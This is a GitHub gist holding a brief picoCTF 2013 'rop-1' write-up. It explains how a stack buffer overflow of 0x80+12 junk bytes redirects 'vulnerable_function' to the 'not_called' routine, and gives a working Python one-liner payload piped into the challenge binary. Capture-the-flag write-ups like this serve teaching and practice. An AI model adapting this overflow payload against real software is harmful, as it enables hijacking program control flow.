plvhx/README.md

Created September 23, 2016 23:01

Star (0) You must be signed in to star a gist
Fork (1) You must be signed in to fork a gist

Learn more about clone URLs
Clone this repository at <script src="https://gist.github.com/plvhx/2d850a59da68aa0eb5d9b073f88057ed.js"></script>
Save plvhx/2d850a59da68aa0eb5d9b073f88057ed to your computer and use it in GitHub Desktop.

picoCTF 2013 rop-1 re-writeup

Raw

to overwrite the 'vulnerable_function' return address, we need 0x80 + 12 junk of buffer plus address of 'not_called'. So, the payload skeleton is: ["\x41"*(0x80 + 12)] + [address of 'not_called' subroutine]

(python -c 'import sys,struct;sys.stdout.write("\x41"*(0x80 + 12) + struct.pack("<I", 0x080484a4))'; cat -) | ./rop1-fa6168f4d8eba0eb